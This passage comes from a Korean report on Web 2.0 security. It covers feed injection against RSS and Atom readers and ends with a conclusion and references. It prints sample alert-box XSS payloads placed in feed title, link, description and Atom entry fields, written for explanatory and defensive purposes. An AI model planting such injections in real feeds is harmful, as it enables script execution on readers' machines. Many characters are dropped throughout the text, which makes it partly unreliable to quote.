아서 다른 곳으로 하는 사용자에 한 피드에도 포함되어 있다. 이로 인해 잠재
인 희생자 층이 격히 확 될 수 있다.
- 40 -
□ 피드를 배치 벡터(Deployment Vector)로 사용하기
상기된 문제 외에 웹 기반 피드를 known/zero-day 익스 로잇(exploit)에 한
익스 로잇 배치 벡터로 사용할 가능성은 다소 많다고 할 수 있으며, 이는 피드가
다른 웹사이트 피드에 재배포(re-syndicated)된 경우 더욱 명백하게 나타날 수 있다.
잠재 인 공격가능 사용자 기반이 수백만 명이 될 수도 있음을 시사한다.
□ 웹 피드 클라이언트의 취약성
피드 제공자(feed owner)가 악의 인 경우. 가장 가능성은 지만 엄연히 가능성
의 하나로 존재한다. 피드를 제공하는 웹사이트가 해킹을 당한 경우. 웹페이지변조
아카이 (defacement archives)에서는 변조된 수천 개의 웹사이트를 일별 단 로 보
여 다. 웹사이트를 변조하기보다 피드에 악성 페이로드를 인젝션하기로 결정한 공
격자는 오랜 시간 동안 탐지를 피할 가능성이 아주 많다. 그리고 더 많은 컴퓨터에
향을 미칠 가능성도 아주 많다. 일부 웹 기반 피드는 메일링 리스트나 게시 ,
P2P 웹사이트, BitTorrent 사이트, 는 사용자가 블로그에 쓴 포스 에서 생성된
경우가 많다. 이는 악성 페이로드를 인젝션하기에 편리한 방법을 제공해 주며, 피드가
록시 캐쉬포이즈닝(Proxy Cache poisoning)을 통한 송 단계 동안 확실치 않은
이유로 수정된 경우는 실제 가능성은 아주 다고 할 수 있다.
4.4 표 별 리스크
□ RSS
RSS 기반 리더기에서 가장 표 인 취약성은 Feed Title, Feed Description, Item
Title, Item Link, Item Description XML 요소 내에 존재한다. 물론 다른 부분에서
도 취약성이 발견될 수 있다. 이러한 필드를 사용하기 해, 공격자들은 악성 페이
로드를 집어넣기만 하면 된다. 리더기의 취약 정도에 따라 공격자들은 리터럴 스크
립트 인젝션(literal script injection)이나 HTML 엔티티 인젝션(HTML entity
injection), 는 두 가지 인젝션 공격을 함께 할 수도 있다. 아래 는 스토리 엔트
리(story entry)에서 다양한 방법을 사용한 무해한(harmless Harmless: 공격피해는
실제로 없으나 공격 스크립트로 인정이 된다.) 스크립트 인젝션을 보여 다.
<title><script>alert('Title Popup Example ')</script> </title>
<link><script>alert('Link Popup Example')</script> </link>
<description><script>alert('Description Popup
Example')</script></description>
</item>
- 41 -
<entry xmlns="http://www.w3.org/2005/Atom">
<author>
<name> <script>alert('Entry Author')</script> </name>
</author>
<published> <script>alert('Entry Published')</script> </published>
<updated> <script>alert('Entry Updated')</script> </updated>
<link href="http://site/" rel="alternate" title="Site's Feed" type="text/html"/>
<id> <script>alert('Entry ID')</script> </id>
<title type="html"><script>alert('Entry Title')</script></title>
<content type="xhtml"xml:base="http://site/" xml:space="preserve">
<div xmlns="http://www.w3.org/1999/xhtml">
<script>alert('Entry Div XMLNS')</script>
</div>
</content>
<draft xmlns="http://purl.org/atom-blog/ns#">false</draft>
</entry>
취약한 리더기는 이러한 필드 내에서 데이터를 나타내고 스크립트를 실행하려고
할 것이다.
□ Atom
RSS에서 발견된 문제와 비슷하게, Atom도 애 리 이션의 동일한 필드에서 향
을 받는다. 공통되는 요소에는 Author Name, Entry Updated Element, Feed Title,
Feed Subtitle, Feed Updated Element, Div elements 등이 있다. 아래는 Atom 스토
리 엔트리(Atom story entry)에 한 무해한(harmless1) 스크립트 인젝션의 이다.
제 5 장 결론
지 까지, Web2.0의 기술, Web의 취약성, Web2.0이 나옴에 따른 추가된 취약성
에 하여 알아보았다. 최근 인터넷 기업에 있어 Web2.0은 하나의 트랜드이며 논의
되고 있는 핵심은 디자인 패턴과 비즈니스 모델이라고 볼 수 있다. 이를 용하기
해 Web2.0 기술들을 도입하고자 하는 기업은 더욱 보안에 신 을 기해야 할 것
이다. 왜냐하면, 사용자 참여 등 개방성에 따른 보안 이슈 AJAX와 같은 Web2.0
기술들도 기존 웹과 같은 보안상 문제 이 여 히 존재하기 때문이다. 특히, 기존에
는 서버측 공격에 을 맞추는 신 클라이언트 측으로 을 돌리고 있으며, 클
라이언트 측의 취약성을 극 으로 악용하기 시작했다. 이러한 경향은 당분간 계속
될 것으로 보이며, 클라이언트 측 취약성으로 인해 소 트웨어를 설치하지 않아도
페이로드 실행과 정보 추출을 할 수 있어 공격자로서는 더 용이해진다. 한, 웹
기반 피드는 빠르게 화되어가고 있으며 소 트웨어 펌웨어 업데이트 매커니
- 42 -
즘으로 리 채택되고 있다. 피드에도 XSS 취약성은 존재한다. 이는 진 으로 더
험한 공격 벡터가 되고 있다는 것을 의미한다. 키스트로크 로깅(keystroke
logging)과 CSRF를 포함한 다른 리스크 한 증가하고 있다. 최근, 피드를 제공하는
웹사이트가 피드 인젝션으로부터 발생하는 보안문제를 해결하고자 애 리 이션
개발자들은 우선 <b>, <br>, <font>와 같은 특정 HTML 태그에 한 "화이트 리스트
(우량목록작성)"를 작성하여 취약성을 최소화 하고 있다. 하지만, 그 외 검증되지 않은
정보 공개로 인한 라이버시 침해, 기업 이미지 하락 등 다양한 문제가 야기되거나,
자바스크립트 사용에 한 의존성이 높아짐으로 인한 보안 의 증가, 데이터의
안정성 보장에 한 보안 문제 등 여러 가지 문제 이 그 로 존재하게 된다. 따
라서 앞으로의 Web2.0 기술을 도입하고자 하는 기업에서는 보안을 더욱 요하게
고려할 것은 자명한 사실이다. 따라서, 앞으로도 지속 으로 Web2.0을 기술동향을
악하는 것이 필요하며, 앞으로 진화되어 나올 취약성에 한 분석을 계속되어야
할 것이다.
- 43 -
참조문헌
[1] 웹 2.0 시 의 정보보호 http://www.securenet.or.kr
[2] 웹 2.0 web서비스 로토콜 REST의 특징과 활용 황[ 자정보센터]
[3] web2.0 개념 국내동향[ 자정보센터]
[4] 포털사이트를 심으로 한 국내 Web2.0 서비스 황과 망[소 트웨어진흥원]
[5] 일본과 국의 Web 2.0 시장동향[소 트웨어진흥원]
[6] FEED Injection in Web 2.0 http://www.webappsec.org
[7] web Application Security Consortium: Threat Classification http://www.webappsec.org
[8] Web 2.0이란? http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09
/30/what-is-web-20.html?page=3
[9] 키피디아 백과사 의 RSS 표제어 설명 http://en.wikipedia.org/wiki/RSS_(file_format)
[10] XML 명세 http://www.w3.org/TR/REC-xml/
[11] RSS 명세 http://www.rss-specifications.com/rss-specifications.htm
[12] Atom 명세 http://www.atomenabled.org/
[13] CSRF(Cross-Site Request Forgery) http://en.wikipedia.org/wiki/Cross-site_request_forgery
[14] 크로스 존 스크립 (Cross-Zone Scripting)http://en.wikipedia.org/wiki/Cross_Zone_Scripting
[15] XSS의 FAQ http://www.cgisecurity.com/articles/xss-faq.shtml
[16] 에이젝스(Ajax) http://en.wikipedia.org/wiki/AJAX
[17] 야후 에이젝스(Ajax) 웜 http://www.macworld.com/news/2006/06/16/ajax/index.php